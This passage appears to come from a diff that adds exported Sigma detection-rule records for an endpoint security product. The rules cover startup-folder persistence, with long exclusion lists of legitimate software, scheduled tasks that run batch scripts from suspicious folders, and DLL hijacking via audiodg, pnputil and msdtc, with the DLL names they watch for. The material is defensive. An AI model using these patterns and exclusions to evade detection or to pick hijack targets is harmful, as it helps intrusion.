Files\\SelfService.exe'\n        Path|endswith:\n            - '\\Citrix Workspace.lnk'\n            - '\\Citrix Receiver.lnk'\n\n    exclusion_signiant:\n        Image: '*\\appdata\\roaming\\signiant\\signiantapp.exe'\n        Path|endswith: '\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\signiant app.lnk'\n\n    exclusion_citrix_gateway:\n        Image:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\syswow64\\msiexec.exe'\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\Citrix Gateway.lnk'\n\n    exclusion_dropnsign:\n        Image: '*\\AppData\\Local\\Temp\\\\*\\signature-agent-install-?.?.?.tmp'\n        Path|endswith: '\\Agent de signature DropNSign.lnk'\n\n    exclusion_explorer_lnk:\n        Image: '?:\\windows\\explorer.exe'\n        Path|endswith:\n            - 'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Outlook.lnk'\n            # AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Outlook - Raccourci.lnk /  handle multiple languages here\n            - 'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Outlook - *.lnk'\n            - 'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Sticky Notes.lnk'\n            #  'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MyNOEPhoneIPDesktop - Raccourci.lnk' /  handle multiple languages here\n            - 'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MyNOEPhoneIPDesktop - *.lnk'\n            - 'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Envoyer à OneNote.lnk'\n\n    exclusion_mcafee_scan:\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\McAfee Security Scan Plus.lnk'\n\n    exclusion_bmc:\n        # C:\\Program Files\\BMC Software\\Client Management\\Client\\bin\\mtxagent.exe\n        # D:\\BMC Software\\Client Management\\Client\\bin\\mtxagent.exe\n        Image|endswith: '\\BMC Software\\Client Management\\Client\\bin\\mtxagent.exe'\n        Path|endswith:\n            - '\\Wikit.lnk'\n            - ':\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ww_???' # (ww_283, ww_275, ...)\n            - ':\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ww_????' # (ww_2110)\n            - ':\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\UpdateSignatureOutlook.lnk'\n\n    exclusion_empirium_agent:\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\Empirum Inventory.lnk'\n\n    exclusion_zebra_browser_print:\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\ZebraBrowserPrint.lnk'\n\n    exclusion_titreo_webscan:\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\TitreoScan.lnk'\n\n    exclusion_litetouch:\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\LiteTouch.lnk'\n        # C:\\Windows\\System32\\wscript.exe C:\\MININT\\Scripts\\LiteTouch.wsf /start\n        ProcessCommandLine|contains: ':\\MININT\\Scripts\\LiteTouch.wsf'\n\n    exclusion_starleaf:\n        Path|endswith: 'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\StarLeaf.lnk'\n        # C:\\Users\\xxxxx\\AppData\\Local\\StarLeaf\\StarLeaf\\1\\StarLeaf.exe\n        Image: '*\\AppData\\Local\\StarLeaf\\StarLeaf\\\\?\\StarLeaf.exe'\n\n    exclusion_hp_ink_cartridge:\n        # C:\\Windows\\system32\\RunDll32.exe C:\\Program Files\\HP\\HP ENVY 5540 series\\bin\\HPStatusBL.dll,RunDLLEntry SERIALNUMBER=XXXXX;CONNECTION=USB;MONITOR=1;\n        # C:\\windows\\system32\\RunDll32.exe C:\\Program Files\\HP\\HP Officejet Pro 8620\\bin\\HPStatusBL.dll,RunDLLEntry SERIALNUMBER=CN639FXXXXXW08W;CONNECTION=USB;MONITOR=1;\n        # target : C:\\Users\\xxxx\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Superviser les alertes relatives aux cartouches - HP ENVY 5540 series.lnk\n        ProcessCommandLine: '?:\\Windows\\system32\\RunDll32.exe ?:\\Program Files\\HP\\\\*\\bin\\HPStatusBL.dll,RunDLLEntry *'\n\n    exclusion_wapt:\n        - Image|endswith: '\\waptagent.tmp' # C:\\Windows\\Temp\\is-M2GTK.tmp\\waptagent.tmp\n          Path:\n            - '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WAPT session setup.lnk'\n            - '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\WAPT tray helper.lnk'\n        - ProcessGrandparentImage: '?:\\Program Files (x86)\\wapt\\waptconsole.exe'\n\n    exclusion_elster_authenticator:\n        # C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\i4j13789909157672610629.tmp\n        # C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\i4j_writeperm_test\n        # C:\\Users\\xxxx\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\i4j17134246450829547984.tmp\n        Image|contains: '\\.elster-authenticator\\updater\\ElsterAuthenticatorInstaller.exe'\n        Path: '*\\Start Menu\\Programs\\StartUp\\i4j*'\n\n    exclusion_deepl:\n        Image|endswith: '\\DeepL.exe'\n        Path|endswith: '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\DeepL.lnk'\n\n    exclusion_hp_monitoring:\n        # c:\\windows\\system32\\rundll32.exe c:\\program files\\hp\\hp deskjet 3510 series\\bin\\hpstatusbl.dll,rundllentry  serialnumber=xxxxxxx;connection=usb;monitor=1\n        # c:\\windows\\system32\\rundll32.exe c:\\program files\\hp\\hp smart tank plus 570 series\\bin\\hpstatusbl.dll,rundllentry serialnumber=cn11h4s0g2;connection=usb;monitor=1\n        ProcessCommandLine|contains|all:\n            - '?:\\windows\\system32\\rundll32.exe'\n            - '\\bin\\hpstatusbl.dll,rundllentry'\n        # programs\\startup\\monitor ink alerts - hp deskjet 2000 j210 series.lnk;\n        # programs\\startup\\alertes de surveillance de l'encre - hp deskjet 2540 series.lnk\n        Path: 'appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\\\* hp *.lnk'\n\n    exclusion_zero_install:\n        ProcessCommandLine: '*\\AppData\\Roaming\\Programs\\Zero Install\\0install.exe'\n        Path: '*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\DeepL auto-start.lnk'\n\n    exclusion_eolis:\n        ProcessCommandLine|contains|all:\n            - '\\AppData\\Local\\Temp\\'\n            - '\\setup_pm.exe'\n            - '?:\\Program Files\\Evolis Card Printer'\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\Evolis Printer Manager.lnk'\n\n    exclusion_canon:\n        Path: '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\EOS Utility.lnk'\n\n    exclusion_emeditor:\n        Image: '*\\AppData\\Local\\Programs\\EmEditor\\EmEditor.exe'\n        Path: '*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\EmEditor.lnk'\n\n    exclusion_oobe:\n        ProcessCommandLine: '?:\\WINDOWS\\SYSTEM32\\RUNDLL32.EXE shsetup.dll,SHUnattendedSetup specialize'\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\Setup.exe'\n\n    exclusion_rustdesk:\n        ProcessParentImage: '?:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\rustdesk\\rustdesk.exe'\n        Path: '?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\RustDesk Tray.lnk'\n\n    exclusion_podman:\n        Image|endswith: '\\Podman Desktop.exe'\n        Path|endswith: '\\podman-desktop.vbs'\n\n    exclusion_printer:\n        ProcessParentImage: '?:\\Windows\\System32\\msiexec.exe'\n        Path|endswith: '\\Error Recovery Guide.lnk'\n\n    exclusion_spool:\n        ProcessCommandLine|startswith:\n            - 'rundll32.exe ?:\\Windows\\system32\\spool\\DRIVERS\\'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\'\n\n    exclusion_ccm:\n        - ProcessParentImage:\n            - '?:\\Windows\\CCM\\Ccm32BitLauncher.exe'\n            - '?:\\Windows\\CCM\\CcmExec.exe'\n        - ProcessCommandLine|contains: '?:\\Windows\\ccmcache\\'\n\n    exclusion_share:\n        - ProcessAncestors|contains: '|\\\\\\\\'\n        - ProcessCommandLine|contains:\n            - 'cmd /c \\\\\\\\'\n            - 'cmd.exe /c \\\\\\\\'\n        - ProcessParentImage|startswith: '\\\\\\\\'\n        - Path|startswith: '\\\\\\\\'\n\n    exclusion_manageenfine:\n        ProcessAncestors|contains: '|?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\'\n\n    exclusion_shellpreviewhost:\n        ProcessCommandLine: '?:\\Windows\\system32\\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}'\n        ProcessParentCommandLine: '?:\\windows\\system32\\svchost.exe -k DcomLaunch -p'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fc3a404c-7d79-4d07-975a-c7ccf40276cf",
+  "rule_name": "File Added/Modified in Startup Directory",
+  "rule_description": "Detects when a file is added or modified in the startup directory.\nAdversaries may achieve persistence by adding a program to a startup folder.\nIt is recommended to investigate the content of the newly created file to determine if this action was legitimate.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fc4003d0-b92e-4316-9e79-cab2b7d25546",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625640Z",
+  "creation_date": "2026-03-23T11:45:34.625642Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625647Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/005/",
+    "https://attack.mitre.org/techniques/T1059/003/"
+  ],
+  "name": "t1053_scheduled_task_batch_script_sus_loc.yml",
+  "content": "title: Scheduled Task with Batch Script Action Created in Suspicious Location\nid: fc4003d0-b92e-4316-9e79-cab2b7d25546\ndescription: |\n    Detects a scheduled task being created with one of the actions launching a batch script from a suspicious location.\n    It is common for attackers to create a scheduled task that launches a script or command that reestablishes a connection to their C&C servers as a way to create persistence or to decorrelate parent/child process relationships.\n    It is recommended to investigate the concerned scheduled task by clicking the \"TaskInformation\" button as well as any spawned processes to determine if they are legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/005/\n    - https://attack.mitre.org/techniques/T1059/003/\ndate: 2025/09/04\nmodified: 2025/12/22\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - attack.execution\n    - attack.t1059.003\n    - classification.Windows.Source.ScheduledTask\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: scheduled_task\ndetection:\n    selection_bat:\n        OperationType: 'create'\n        TaskContent|contains:\n            - '.bat</Arguments>'\n            - '.bat?</Arguments>'\n\n    selection_folder:\n        TaskContent|contains:\n            - '<Arguments>*?:\\Users\\Public'\n            - '<Arguments>*?:\\ProgramData'\n            - '<Arguments>*?:\\Windows'\n            - '<Arguments>*?:\\Users\\\\*\\AppData'\n\n    exclusion_landesk:\n        FirstActionCommandLine|contains: '?:\\ProgramData\\LANDesk'\n\n    exclusion_corsair_icue:\n        FirstActionCommandLine:\n            # Sometimes these are forward slashes\n            - 'cmd.exe /c ?:\\WINDOWS?Temp?icue-rmdir-????????-????-????-????-????????????.bat'\n            - 'cmd.exe /c ?:\\WINDOWS?Temp?icue-task-????????-????-????-????-????????????.bat'\n\n    exclusion_sap_business_objects:\n        FirstActionCommandLine|startswith: '?:\\ProgramData\\SAP BusinessObjects\\'\n\n    exclusion_hp_support:\n        FirstActionCommandLine|startswith: '?:\\ProgramData\\HP\\HP Support Framework\\'\n\n    condition: selection_bat and selection_folder and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fc4003d0-b92e-4316-9e79-cab2b7d25546",
+  "rule_name": "Scheduled Task with Batch Script Action Created in Suspicious Location",
+  "rule_description": "Detects a scheduled task being created with one of the actions launching a batch script from a suspicious location.\nIt is common for attackers to create a scheduled task that launches a script or command that reestablishes a connection to their C&C servers as a way to create persistence or to decorrelate parent/child process relationships.\nIt is recommended to investigate the concerned scheduled task by clicking the \"TaskInformation\" button as well as any spawned processes to determine if they are legitimate.\n",
+  "rule_creation_date": "2025-09-04",
+  "rule_modified_date": "2025-12-22",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1059.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fc40ab14-a52d-4398-a930-6b613e5641ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096485Z",
+  "creation_date": "2026-03-23T11:45:34.096487Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096492Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_audiodg.yml",
+  "content": "title: DLL Hijacking via audioadg.exe\nid: fc40ab14-a52d-4398-a930-6b613e5641ab\ndescription: |\n    Detects potential Windows DLL Hijacking via audioadg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'audioadg.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\mmdevapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fc40ab14-a52d-4398-a930-6b613e5641ab",
+  "rule_name": "DLL Hijacking via audioadg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via audioadg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fc83fd01-91c6-4c20-8c00-dfa808a060f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076024Z",
+  "creation_date": "2026-03-23T11:45:34.076025Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076030Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pnputil.yml",
+  "content": "title: DLL Hijacking via pnputil.exe\nid: fc83fd01-91c6-4c20-8c00-dfa808a060f1\ndescription: |\n    Detects potential Windows DLL Hijacking via pnputil.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pnputil.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cabinet.dll'\n            - '\\devobj.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fc83fd01-91c6-4c20-8c00-dfa808a060f1",
+  "rule_name": "DLL Hijacking via pnputil.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pnputil.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fca3a43d-b571-4277-91e9-109e94c8ef22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594764Z",
+  "creation_date": "2026-03-23T11:45:34.594768Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594775Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msdtc.yml",
+  "content": "title: DLL Hijacking via msdtc.exe\nid: fca3a43d-b571-4277-91e9-109e94c8ef22\ndescription: |\n    Detects potential Windows DLL Hijacking via msdtc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msdtc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CLUSAPI.dll'\n            - '\\DNSAPI.dll'\n            - '\\ktmw32.dll'\n            - '\\MSDTCTM.dll'\n            - '\\MTXCLU.DLL'\n            - '\\oci.dll'\n            - '\\RESUTILS.dll'\n            - '\\XOLEHLP.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fca3a43d-b571-4277-91e9-109e94c8ef22",
+  "rule_name": "DLL Hijacking via msdtc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msdtc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fcbc82c7-c83f-40e4-891d-7804e51e594a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617248Z",
+  "creation_date": "2026-03-23T11:45:34.617250Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617255Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.offsec.com/blog/in-the-hunt-for-the-macos-autologin-setup-process/",
+    "https://attack.mitre.org/techniques/T1552/001/"
+  ],
+  "name": "t1552_004_autologon_password_read.yml",
